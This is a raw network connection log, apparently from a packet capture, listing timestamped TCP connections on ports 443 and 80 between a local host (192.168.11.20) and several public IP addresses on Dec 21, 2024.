Dec 21, 2024 19:23:05.715172052 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.715193033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.715289116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.715292931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.715445042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.715626955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.715653896 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.715666056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.715887070 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.715892076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.716003895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.716170073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.716187000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.716190100 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.716331005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.716461897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.716619968 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.716631889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.716888905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.716892958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.716898918 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.716917038 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.717200994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.717206001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.717400074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.717411041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.717413902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.717550993 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.717669010 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.717873096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.717885971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.718019009 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.718127966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.718188047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.718189001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.718194962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.718395948 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.718525887 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.718621969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.718633890 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.718748093 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.718841076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.718844891 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.718921900 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.718929052 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.718966007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.719046116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.719166040 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.720427990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:44.707124949 CET	49740	443	192.168.11.20	13.107.21.237
Dec 21, 2024 19:23:44.830005884 CET	49741	80	192.168.11.20	142.250.64.195
Dec 21, 2024 19:23:44.830040932 CET	49739	80	192.168.11.20	199.232.214.172
Dec 21, 2024 19:23:44.959675074 CET	80	49741	142.250.64.195	192.168.11.20
Dec 21, 2024 19:23:44.959882975 CET	49741	80	192.168.11.20	142.250.64.195
Dec 21, 2024 19:23:44.970927954 CET	80	49739	199.232.214.172	192.168.11.20
Dec 21, 2024 19:23:44.971158981 CET	80	49739	199.232.214.172	192.168.11.20
Dec 21, 2024 19:23:44.971386909 CET	49739	80	192.168.11.20	199.232.214.172
Dec 21, 2024 19:24:25.309022903 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:25.309041977 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:25.309216022 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:25.309869051 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:25.309880972 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:25.594263077 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:25.594496965 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:25.595551968 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:25.595575094 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:25.596147060 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:25.639081955 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:25.639081955 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:25.639236927 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.605259895 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.605508089 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.605880976 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.606920004 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.606920004 CET	49744	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.606976986 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.606995106 CET	443	49744	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.612792015 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.612867117 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.613075972 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.613198996 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.613243103 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.886780024 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.886990070 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.888187885 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.888227940 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.888986111 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:26.890177965 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.890177965 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:26.890417099 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.594748020 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.595037937 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.595125914 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.595197916 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.595231056 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.595474958 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.595612049 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.595786095 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.595889091 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.595947981 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.596088886 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.596117973 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.596286058 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.596915007 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.597057104 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.597153902 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.597182035 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.597196102 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.597541094 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.597584009 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.598289967 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.599726915 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.599884033 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.600006104 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.600006104 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:27.600054026 CET	443	49745	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:27.600138903 CET	49745	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:31.974596977 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:31.974620104 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:31.974778891 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:31.975092888 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:31.975107908 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.453059912 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.453493118 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.453505039 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.453614950 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.453639030 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.453730106 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.453748941 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.453814030 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.453917027 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.454047918 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.454060078 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.454227924 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.454237938 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.454452991 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.454643011 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.468019962 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.468097925 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.468173027 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.468189955 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.468276978 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.468833923 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.469180107 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.469192028 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.514245033 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.521658897 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.521671057 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.570715904 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.745105982 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.745131969 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.745425940 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.745439053 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.745467901 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.745798111 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.745804071 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.747050047 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.747308016 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.747394085 CET	49749	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.747406006 CET	443	49749	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.924242020 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.924618959 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.924631119 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.925673008 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.925921917 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.926119089 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.926203966 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.926228046 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.929275990 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.929579973 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.929589987 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.930531979 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.930746078 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.931005001 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.931075096 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.931103945 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.942614079 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.943131924 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.943144083 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.943487883 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.943993092 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.944101095 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.971304893 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.971313000 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.971741915 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:32.971754074 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:32.986857891 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.022073030 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.022274971 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.253793955 CET	49738	443	192.168.11.20	20.190.135.18
Dec 21, 2024 19:24:33.414246082 CET	443	49738	20.190.135.18	192.168.11.20
Dec 21, 2024 19:24:33.414489985 CET	49738	443	192.168.11.20	20.190.135.18
Dec 21, 2024 19:24:33.579202890 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.580127954 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.580154896 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.580184937 CET	443	49750	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.580539942 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.580598116 CET	49750	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.581460953 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.622271061 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.641460896 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.641639948 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.641845942 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.642132044 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.642132044 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.642190933 CET	443	49751	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.642416954 CET	49751	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.642679930 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.642755032 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.643090010 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.643398046 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.643457890 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.726711035 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.726840019 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.726980925 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.727021933 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.727103949 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.727142096 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:33.727317095 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.727396965 CET	49752	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:33.727442026 CET	443	49752	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.123153925 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.123689890 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:34.123727083 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.124818087 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.125226974 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:34.125272036 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:34.125438929 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.167522907 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:34.400036097 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.400218964 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.400252104 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.400305033 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:34.400739908 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:34.400862932 CET	49753	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:34.400875092 CET	443	49753	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:35.629097939 CET	49755	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:35.629127979 CET	443	49755	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:35.629339933 CET	49755	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:35.629725933 CET	49755	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:35.629745007 CET	443	49755	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:36.101732969 CET	443	49755	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:36.102062941 CET	49755	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:36.102085114 CET	443	49755	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:36.102839947 CET	443	49755	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:36.103893042 CET	49755	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:36.104059935 CET	443	49755	142.250.64.164	192.168.11.20
Dec 21, 2024 19:24:36.114032030 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:36.114070892 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:36.114254951 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:36.114448071 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:36.114464045 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:36.151201010 CET	49755	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:36.381830931 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:36.382113934 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:36.384008884 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:36.384018898 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:36.384319067 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:36.386441946 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:36.386586905 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:36.386598110 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.160273075 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.160373926 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.160552979 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.160653114 CET	49758	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.160665035 CET	443	49758	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.277586937 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.277605057 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.277940989 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.278033018 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.278040886 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.543126106 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.543380022 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.544200897 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.544210911 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.544475079 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.545480967 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.545567989 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.545578957 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.545619965 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.545665026 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.545670033 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.545677900 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.545859098 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.545918941 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:37.546273947 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:37.546288013 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.298702955 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.298773050 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.299007893 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.299036026 CET	49759	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.299047947 CET	443	49759	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.312254906 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.312277079 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.312393904 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.312591076 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.312604904 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.578692913 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.578938961 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.579785109 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.579792976 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.579981089 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.580955982 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.581058979 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.581067085 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.581109047 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.581130028 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:38.581160069 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:38.581207037 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.205508947 CET	49755	443	192.168.11.20	142.250.64.164
Dec 21, 2024 19:24:39.320260048 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.320324898 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.320528984 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.320672035 CET	49760	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.320684910 CET	443	49760	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.368655920 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.368678093 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.368813038 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.369055986 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.369067907 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.637305975 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.637649059 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.638534069 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.638555050 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.639003992 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.640096903 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.640149117 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.640182018 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.640198946 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.640248060 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.640254021 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.640290976 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:39.640698910 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:39.640777111 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.440891981 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.441296101 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.441451073 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.441638947 CET	49761	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.441694975 CET	443	49761	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.629926920 CET	49762	443	192.168.11.20	104.21.44.253
